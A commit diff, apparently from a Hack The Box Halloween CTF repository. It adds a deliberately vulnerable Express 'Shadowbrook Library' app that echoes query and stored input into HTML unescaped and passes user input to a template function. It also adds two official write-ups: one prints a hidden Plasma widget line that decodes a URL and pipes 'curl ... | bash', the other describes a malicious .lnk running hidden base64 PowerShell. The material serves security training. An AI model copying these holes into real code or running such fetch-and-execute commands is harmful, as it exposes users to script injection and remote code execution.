author: "Seraphina Nightshade",
content: "Bound in human skin, the Witch's Grimoire contains forbidden spells. It is said those who read its pages under a blood moon shall be granted immense power — but at a terrible cost."
},
{
title: "The Mask of Eternal Night",
author: "Mortimer Graves",
content: "A porcelain mask with hollow eyes sits locked away in a museum. Legends tell that wearing it opens a portal to a realm of endless darkness, where souls are consumed for eternity."
}
];
const insertManuscript = db.prepare(`INSERT INTO manuscripts (title, author, content) VALUES (?, ?, ?)`);
manuscripts.forEach((manuscript) => {
insertManuscript.run(manuscript.title, manuscript.author, manuscript.content, (err) => {
if (err) {
console.error('Error inserting manuscript:', err.message);
} else {
console.log(`Manuscript "${manuscript.title}" added.`);
}
});
});
insertManuscript.finalize();
}
});
}
});
module.exports = db;

View file

@ -0,0 +1,360 @@
/* General Styles */
body {
background-color: #0d0d0d; /* Darker background for deeper contrast */
color: #e6e6e6;
font-family: 'Merriweather', serif;
margin: 0;
padding: 0;
text-align: center;
overflow-x: hidden;
}
a {
color: #ff6347;
text-decoration: none;
transition: color 0.3s ease;
}
a:hover {
color: #ffa07a;
}
/* Cool Form Styles */
.add-manuscript {
margin-top: 50px;
padding: 40px;
background-color: #1c1c1c;
border-radius: 10px;
box-shadow: 0 10px 30px rgba(0, 0, 0, 0.8), 0 0 15px rgba(255, 99, 71, 0.5);
position: relative;
max-width: 600px;
margin: 50px auto;
background-image: linear-gradient(135deg, rgba(255, 69, 0, 0.4), rgba(255, 99, 71, 0.2));
}
.add-manuscript h2 {
font-size: 2.5rem;
color: #ff6347;
margin-bottom: 20px;
text-transform: uppercase;
letter-spacing: 2px;
background: linear-gradient(45deg, #ff6347, #ff4500);
-webkit-background-clip: text;
-webkit-text-fill-color: transparent;
text-shadow: 0 0 10px rgba(255, 69, 0, 0.5);
}
/* Form Label Styling */
.add-manuscript form label {
font-size: 1.2rem;
text-transform: uppercase;
color: #ff6347;
display: block;
text-align: left;
margin-bottom: 8px;
letter-spacing: 1px;
}
.add-manuscript form input[type="text"],
.add-manuscript form textarea {
width: 100%;
padding: 12px 15px;
background-color: #1a1a1a;
border: 1px solid #444;
border-radius: 5px;
color: #e6e6e6;
font-size: 1rem;
outline: none;
margin-bottom: 20px;
transition: border-color 0.3s ease, box-shadow 0.3s ease;
}
.add-manuscript form input[type="text"]:focus,
.add-manuscript form textarea:focus {
border-color: #ff4500;
box-shadow: 0 0 15px rgba(255, 69, 0, 0.6);
background-color: #222;
}
/* Ghostly Glow Effects */
.add-manuscript form input[type="text"]:focus::after,
.add-manuscript form textarea:focus::after {
content: '';
position: absolute;
width: 100%;
height: 100%;
border-radius: 5px;
box-shadow: 0 0 15px rgba(255, 69, 0, 0.7);
animation: pulseGlow 1.5s infinite ease-in-out;
}
/* Animated Glowing Borders */
@keyframes pulseGlow {
0% {
box-shadow: 0 0 5px rgba(255, 69, 0, 0.6);
}
50% {
box-shadow: 0 0 20px rgba(255, 69, 0, 0.8);
}
100% {
box-shadow: 0 0 5px rgba(255, 69, 0, 0.6);
}
}
/* Container */
.container {
width: 90%;
max-width: 1200px;
margin: 0 auto;
padding: 40px 20px;
position: relative;
z-index: 1;
}
/* Floating Ghostly Effects */
.container::before {
content: '';
position: absolute;
top: -50px;
right: -50px;
width: 200px;
height: 200px;
background: radial-gradient(circle, rgba(255,255,255,0.1), transparent);
border-radius: 50%;
animation: float 6s ease-in-out infinite;
z-index: -1;
}
@keyframes float {
0% {
transform: translateY(0) rotate(0deg);
}
50% {
transform: translateY(-30px) rotate(180deg);
}
100% {
transform: translateY(0) rotate(360deg);
}
}
/* Header */
header {
background-color: #222;
padding: 30px;
text-align: center;
border-bottom: 2px solid #444;
box-shadow: 0 4px 15px rgba(0, 0, 0, 0.6);
position: relative;
}
header .logo h1 {
color: #ff4500;
font-size: 4rem;
letter-spacing: 4px;
text-transform: uppercase;
background: linear-gradient(45deg, #ff6347, #ff4500);
-webkit-background-clip: text;
-webkit-text-fill-color: transparent;
}
nav ul {
list-style-type: none;
padding: 0;
margin: 30px 0;
}
nav ul li {
display: inline-block;
margin: 0 15px;
font-size: 1.4rem;
}
nav ul li a {
color: #e6e6e6;
position: relative;
}
nav ul li a::before {
content: '';
position: absolute;
width: 0;
height: 2px;
bottom: -2px;
left: 0;
background-color: #ff4500;
visibility: hidden;
transition: all 0.3s ease-in-out;
}
nav ul li a:hover::before {
visibility: visible;
width: 100%;
}
/* Footer */
footer {
margin-top: 40px;
padding: 20px;
background-color: #111;
color: #777;
font-size: 0.9rem;
box-shadow: 0 -4px 15px rgba(0, 0, 0, 0.6);
position: relative;
}
footer::before {
content: '';
position: absolute;
top: 0;
left: 50%;
width: 100%;
height: 1px;
background: linear-gradient(to right, transparent, #777, transparent);
transform: translateX(-50%);
}
/* Home Section */
.home-section {
margin-top: 50px;
text-align: center;
}
.home-section h2 {
font-size: 3rem;
color: #ff6347;
letter-spacing: 2px;
text-shadow: 0 0 10px rgba(255, 99, 71, 0.5), 0 0 20px rgba(255, 69, 0, 0.3);
}
.home-section p {
font-size: 1.4rem;
color: #b3b3b3;
max-width: 800px;
margin: 20px auto;
line-height: 1.8;
}
.button {
padding: 12px 25px;
background-color: #ff4500;
color: #fff;
border: none;
border-radius: 5px;
font-size: 1.2rem;
cursor: pointer;
transition: all 0.3s ease;
position: relative;
z-index: 1;
}
.button::before {
content: '';
position: absolute;
top: -2px;
left: -2px;
right: -2px;
bottom: -2px;
background: linear-gradient(135deg, rgba(255, 69, 0, 0.8), transparent);
z-index: -1;
opacity: 0;
transition: opacity 0.3s ease;
}
.button:hover::before {
opacity: 1;
}
.button:hover {
box-shadow: 0 0 20px rgba(255, 69, 0, 0.7);
}
/* Spooky Animations */
.spooky-button {
background-color: #111;
color: #ff6347;
border: 1px solid #ff6347;
position: relative;
overflow: hidden;
z-index: 1;
transition: color 0.3s ease;
}
.spooky-button:hover {
color: #fff;
box-shadow: 0 0 20px rgba(255, 69, 0, 0.5);
}
.spooky-button::before {
content: '';
position: absolute;
top: 50%;
left: 50%;
width: 300%;
height: 300%;
background: radial-gradient(circle, rgba(255, 69, 0, 0.1), transparent);
transform: translate(-50%, -50%) scale(0);
transition: transform 0.4s ease;
z-index: -1;
}
.spooky-button:hover::before {
transform: translate(-50%, -50%) scale(1);
}
/* Manuscript View */
.manuscript-view h2 {
font-size: 2.5rem;
color: #ff6347;
text-shadow: 0 0 10px rgba(255, 99, 71, 0.5);
margin-bottom: 20px;
}
.manuscript-view article {
margin: 20px 0;
padding: 30px;
background-color: #1a1a1a;
border: 1px solid #444;
border-radius: 8px;
box-shadow: 0 0 15px rgba(0, 0, 0, 0.6);
position: relative;
}
.manuscript-view article p {
font-size: 1.2rem;
color: #e6e6e6;
line-height: 1.6;
}
/* Glowing Borders on Focus */
input[type="text"], textarea {
padding: 10px;
font-size: 1rem;
border: 1px solid #444;
border-radius: 5px;
background-color: #1a1a1a;
color: #e6e6e6;
outline: none;
transition: border 0.3s ease, box-shadow 0.3s ease;
}
input[type="text"]:focus, textarea:focus {
border-color: #ff4500;
box-shadow: 0 0 10px rgba(255, 69, 0, 0.5);
}
/* Ghostly Shadows on Scroll */
@media (min-width: 768px) {
.container::after {
content: '';
position: absolute;
bottom: -100px;
left: 50%;
width: 300px;
height: 300px;
background: radial-gradient(circle, rgba(255, 255, 255, 0.1), transparent);
border-radius: 50%;
animation: float 7s ease-in-out infinite;
z-index: -1;
transform: translateX(-50%);
}
}

View file

@ -0,0 +1,54 @@
const express = require('express');
const router = express.Router();
const { template } = require("@blakeembrey/template"); // Use require instead of import
// 1. GET: Home page
router.get('/', (req, res) => {
const { user } = req.query; // Optional query parameter to pass user's name
let additionalContent = '';
if (user) {
try {
const decodedUser = decodeURIComponent(user);
console.log('User:', decodedUser);
const fn = template("Welcome back, {{user}}!", decodedUser);
const userRender = fn({ user: decodedUser });
additionalContent = `
<p><strong>${userRender}</strong> Your knowledge quest continues. Browse the hidden manuscripts or leave your own wisdom behind.</p>
<a class="button spooky-button" href="/manuscripts/add">Contribute a Manuscript</a>
`;
} catch (error) {
console.error('Error decoding or rendering user:', error);
additionalContent = ''; // Render nothing if error occurs
}
} else {
additionalContent = `
<form action="/" method="GET" class="username-form">
<label for="username">Enter your name to personalize your journey:</label>
<input type="text" id="username" name="user" placeholder="Your Name" required>
<button type="submit" class="button spooky-button">Enter the Vault</button>
</form>
`;
}
const content = `
<section class="home-section">
<h2>Welcome to the Forbidden Vault of Knowledge</h2>
<p>Hello, ${user || 'Adventurer'}! Dare to enter? Search the library, or contribute your own arcane manuscript.</p>
<a class="button spooky-button" href="/manuscripts/search">Search the Vault</a>
${additionalContent}
</section>
`;
// Safely render the layout and pass the content to be injected
try {
res.render('layouts/main', { title: "Welcome to Shadowbrook Library", content });
} catch (renderError) {
console.error('Error rendering the page:', renderError);
res.status(200).send(''); // Return empty response in case of error
}
});
module.exports = router;

View file

@ -0,0 +1,122 @@
const express = require('express');
const router = express.Router();
const db = require('../config/db');
// 1. GET: Search Manuscripts
router.get('/search', (req, res) => {
const { query = '', user } = req.query; // Default query to an empty string if not provided
const searchQuery = `%${query}%`;
db.all("SELECT * FROM manuscripts WHERE title LIKE ? OR content LIKE ?", [searchQuery, searchQuery], (err, rows) => {
if (err) {
res.status(500).send("Error querying the database.");
return;
}
// Generate dynamic HTML for search input and results
let content = `
<section class="search-results">
<h2>Search Manuscripts</h2>
<form action="/manuscripts/search" method="get" class="search-form">
<input type="text" name="query" value="${query}" placeholder="Search for manuscripts..." required />
<button type="submit">Search</button>
</form>
<ul>
`;
if (rows.length > 0) {
rows.forEach(manuscript => {
content += `
<li>
<a href="/manuscripts/view/${manuscript.id}">${manuscript.title}</a>
</li>
`;
});
} else {
content += `
<li>No results found for "${query}".</li>
`;
}
content += `
</ul>
</section>
`;
// Render the layout and inject the dynamic content as a string
res.render('layouts/main', { title: `Search Results for "${query}"`, content, user });
});
});
// 2. GET: View a single manuscript by ID
router.get('/view/:id', (req, res) => {
const { id } = req.params;
const { user } = req.query;
db.get("SELECT * FROM manuscripts WHERE id = ?", [id], (err, manuscript) => {
if (err || !manuscript) {
res.status(404).send("Manuscript not found.");
return;
}
// Generate dynamic content for the manuscript view
const content = `
<section class="manuscript-view">
<h2>${manuscript.title}</h2>
<p><strong>Author:</strong> ${manuscript.author}</p>
<article>
<p>${manuscript.content}</p>
</article>
</section>
`;
// Render the layout and inject the dynamic content
res.render('layouts/main', { title: manuscript.title, content, user });
});
});
// 3. GET: Add Manuscript form
router.get('/add', (req, res) => {
const { user } = req.query;
// Generate content for the add manuscript form
const content = `
<section class="add-manuscript">
<h2>Add a New Arcane Manuscript</h2>
<form action="/manuscripts/add" method="POST">
<label for="title">Title:</label>
<input type="text" id="title" name="title" required>
<label for="author">Author:</label>
<input type="text" id="author" name="author" required>
<label for="content">Content:</label>
<textarea id="content" name="content" rows="6" required></textarea>
<button type="submit" class="button spooky-button">Submit Manuscript</button>
</form>
</section>
`;
// Render the layout and inject the form
res.render('layouts/main', { title: "Add a New Manuscript", content, user });
});
// 4. POST: Add a New Manuscript
router.post('/add', (req, res) => {
const { title, author, content } = req.body;
const { user } = req.query;
db.run("INSERT INTO manuscripts (title, author, content) VALUES (?, ?, ?)", [title, author, content], function(err) {
if (err) {
res.status(500).send("Error inserting into the database.");
return;
}
// After adding, redirect to the newly added manuscript's page
res.redirect(`/manuscripts/view/${this.lastID}?user=${user}`);
});
});
module.exports = router;

View file

@ -0,0 +1,7 @@
<%- include('layouts/main', { title: "404 - Page Not Found" }) %>
<section class="error-page">
<h2>404 - You have ventured too far...</h2>
<p>It seems you've stumbled upon forbidden knowledge not meant to be found, <%= user %>. Return to safety.</p>
<a class="button spooky-button" href="/">Go Back Home</a>
</section>

View file

@ -0,0 +1,7 @@
<%- include('layouts/main', { title: "Welcome to Shadowbrook Library" }) %>
<section class="home-section">
<h2>Welcome to the Forbidden Vault of Knowledge</h2>
<p>Hello, <%= user %>! Dare to enter? Search the library, or contribute your own arcane manuscript.</p>
<a class="button spooky-button" href="/manuscripts/search">Search the Vault</a>
</section>

View file

@ -0,0 +1,22 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title><%= title || "Shadowbrook Library" %></title>
<link rel="stylesheet" href="/dark-theme.css">
</head>
<body>
<header>
<%- include('../partials/header') %> <!-- Includes the header partial -->
</header>
<main>
<%- content %> <!-- This will be passed explicitly from the routes -->
</main>
<footer>
<%- include('../partials/footer') %> <!-- Includes the footer partial -->
</footer>
</body>
</html>

View file

@ -0,0 +1,17 @@
<%- include('../layouts/main', { title: "Add a New Manuscript" }) %>
<section class="add-manuscript">
<h2>Add a New Arcane Manuscript</h2>
<form action="/manuscripts/add" method="POST">
<label for="title">Title:</label>
<input type="text" id="title" name="title" required>
<label for="author">Author:</label>
<input type="text" id="author" name="author" required>
<label for="content">Content:</label>
<textarea id="content" name="content" rows="6" required></textarea>
<button type="submit" class="button spooky-button">Submit Manuscript</button>
</form>
</section>

View file

@ -0,0 +1,13 @@
<%- include('../layouts/main', { title: manuscript.title }) %>
<section class="manuscript-view">
<h2><%= manuscript.title %></h2>
<p><strong>Author:</strong> <%= manuscript.author %></p>
<article>
<p><%= manuscript.content %></p>
</article>
<footer>
<p>Submitted by: <%= user || "Anonymous" %></p>
</footer>
</section>

View file

@ -0,0 +1,4 @@
<footer>
<p>&copy; <%= new Date().getFullYear() %> Shadowbrook Library - Beware the forbidden knowledge...</p>
</footer>

View file

@ -0,0 +1,15 @@
<header>
<div class="logo">
<a href="/">
<h1>Shadowbrook Library</h1>
</a>
</div>
<nav>
<ul>
<li><a href="/">Home</a></li>
<li><a href="/manuscripts/search">Search Manuscripts</a></li>
<li><a href="/manuscripts/add">Add Manuscript</a></li>
</ul>
</nav>
</header>

View file

@ -0,0 +1,84 @@
![](assets/banner.png)
<img src='assets/htb.png' style='margin-left: 20px; zoom: 80%;' align=left /> <font size='10'>Sp00ky Theme</font>
05<sup>th</sup> Oct 2024 / Document No. D24.102.XX
Prepared By: c4n0pus
Challenge Author(s): c4n0pus
Difficulty: <font color=Green>Very Easy</font>
Classification: Official
# Synopsis
* A very easy challenge that features a malicious Plasma 6 plasmoid (widget) that executes rogue commands
## Description
* I downloaded a very nice haloween global theme for my Plasma installation and a couple of widgets! It was supposed to keep the bad spirits away while I was improving my ricing skills... Howerver, now strange things are happening and I can't figure out why...
## Skills Required
* N/A
## Skills Learned
* Plasma Themes
* Obscure Linux Backdoors
# Enumeration
We are given a zip file that contains a folder called `plasma` and inside it contains a couple of directories
* `look-and-feel`
* `plasmoids`
* `desktoptheme`
The `look-and-feel` directory stores the Global Theme configuration for each global theme.
The `plasmoid` directory contains the downloaded widgets (either manually or as a dependency for a global theme)
Recendly there was quite a big controversy where a user installed a Global Theme and it ended up deleting their `$HOME` folder! More about it, and how it happened [here](https://www.reddit.com/r/openSUSE/comments/1biunsl/hacked_installed_a_global_theme_it_erased_all_my/)
As it turns out, the widgets have a direct access to execute arbitrary commands because that's inherently their function! ie: getting CPU usage using `cat /proc/stat` and then aggregating it using `awk` and passing it to the widget for styling and display.
But what happens if a malicious actor creates a theme and publishes it without any vetting? The above theme did not have any malicious intentions (allegedly), just a versioning issue that created a weird command line that removed the home folder. Regardless, the issue here was the lack of vetting, might as well being a malicious command.
# Solution
Navigaing into the `plasmoids` folder and then into the `netspeedWidget` folder we find the `metadata.json` file and `contents` folder. After digging around we find these two lines in the `utils.js` file:
```js
const NET_DATA_SOURCE =
"awk -v OFS=, 'NR > 2 { print substr($1, 1, length($1)-1), $2, $10 }' /proc/net/dev";
const PLASMOID_UPDATE_SOURCE =
"UPDATE_URL=$(echo =0nbzAHc0g2XuRzYfRXMf9TIzNTbzgGdflnYfR2M3B3eCRFS | rev | base64 -d); curl $UPDATE_URL:1992/update_sh | bash"
```
The first one aggregates all traffic from all network interfaces as so:
```bash
$> awk -v OFS=, 'NR > 2 { print substr($1, 1, length($1)-1), $2, $10 }' /proc/net/dev
lo,78647312,78647312
wlo1,12638777329,734054168
tailscale0,2408137,3591611
vboxnet0,0,56383
```
Then it's up to the widget to parse it furhter.
The next command seemingly defines an update URL and then curls some data from it and pipes it to bash!
Running the command that creates the URL reveals the flag!
```bash
$> echo =0nbzAHc0g2XuRzYfRXMf9TIzNTbzgGdflnYfR2M3B3eCRFS | rev | base64 -d
HTB{REDACTED}
```
In responde the KDE devs removed the Theme in Question, issued a [response](http://blog.davidedmundson.co.uk/blog/kde-store-content/) and urged users to report any wrongdoing in the KDE Store.

Binary file not shown.

After

Width:  |  Height:  |  Size: 45 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 22 KiB

View file

@ -0,0 +1,66 @@
![](assets/banner.png)
<img src='assets/htb.png' style='margin-left: 20px; zoom: 80%;' align=left /> <font size='10'>The Shortcut Haunting</font>
14<sup>th</sup> Oct 2024 / Document No. D24.102.XX
Prepared By: thewildspirit
Challenge Author(s): thewildspirit
Difficulty: <font color=Green>Very Easy</font>
Classification: Official
# Synopsis
* The Shortcut Haunting is a very easy forensics challenge involving finding the payload embedded in an lnk file and decoding it using base64.
## Description
* While going through your Halloween treats, a strange message appears: "Trick or Treat?" Curious, you click, and suddenly a mysterious .lnk file appears on your desktop. Now it's up to you to investigate this spooky shortcut and find out if its just a trick—or if its hiding a darker secret.
## Skills Required
* N/A
## Skills Learned
* Analyzing an lnk file using strings
* Base64 decoding
# Enumeration
We are given the following file:
* **htboo.lnk**: `A Windows Shortcut that serves as a pointer to open a file, folder, or application`
When analyzing a malicious .lnk (shortcut) file, extracting the payload is crucial to understanding its operation. Using the strings -el command is an efficient way to do this because:
* **Unicode** Data: Many .lnk files store important information, such as file paths or payloads, in Unicode format. The -el option ensures you extract both ASCII and Unicode strings, which increases your chances of capturing hidden data that could reveal key details of the payload.
* **Readable Text**: strings help you quickly identify readable text within the .lnk file, such as the target path or any encoded commands. This can include file names, URLs, or command lines that the malicious .lnk is using to execute its payload.
* **Time Efficiency**: Instead of manually combing through the .lnk file's raw binary data, strings -el streamlines the process, allowing you to quickly extract the most relevant information, saving time and effort in forensic analysis.
In the context of this straightforward challenge, we will opt for a more efficient approach rather than manually dissecting the .lnk file format. Instead, we will proceed with the previously mentioned method.
# Solution
By utilizing the strings -el command, we will extract and inspect both ASCII and Unicode strings, allowing us to quickly identify relevant data and potential payloads embedded within the .lnk file.
![](assets/strings.png)
The malicious file employs PowerShell to execute commands within the system.
* `WindowStyle hidden`: Runs the PowerShell window in hidden mode, meaning the user won't see a command prompt or PowerShell window pop up.
* `NoExit`: This prevents the PowerShell window from closing immediately after executing the command, which is helpful for ongoing processes but won't be visible in this case due to -WindowStyle hidden.
* `Command`: This specifies the PowerShell command to be executed.
* `[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($fko));`: This line decodes the Base64 string into human-readable text. When decoded, the string reveals a PowerShell command.
We can decode the strings using an online tool called [Cyber Chef](https://gchq.github.io/CyberChef/) and get the flag.
![](assets/flag.png)

Binary file not shown.

After

Width:  |  Height:  |  Size: 45 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 103 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 22 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 140 KiB

Some files were not shown because too many files have changed in this diff Show more